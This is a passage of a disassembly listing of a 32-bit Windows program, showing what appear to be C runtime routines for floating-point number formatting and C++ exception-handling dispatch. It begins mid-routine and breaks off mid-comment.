mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C538 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8E0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB340, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB33C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C538 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB340, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB340, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB344 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB33C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C538 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB340, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB33C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB344, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB33C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB344, ecx setl cl mov byte_4DB348, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB344, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB340, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB340, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB340, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB340, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB34C test esi, esi jz loc_421F28 mov eax, dword_4DB350 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB354, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB34C mov [ebp+var_1C], ecx mov ecx, dword_4DB350 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB34C, edi mov ecx, [ebp+arg_8] mov dword_4DB350, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB34C, eax mov eax, [ebp-20h] mov dword_4DB350, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE 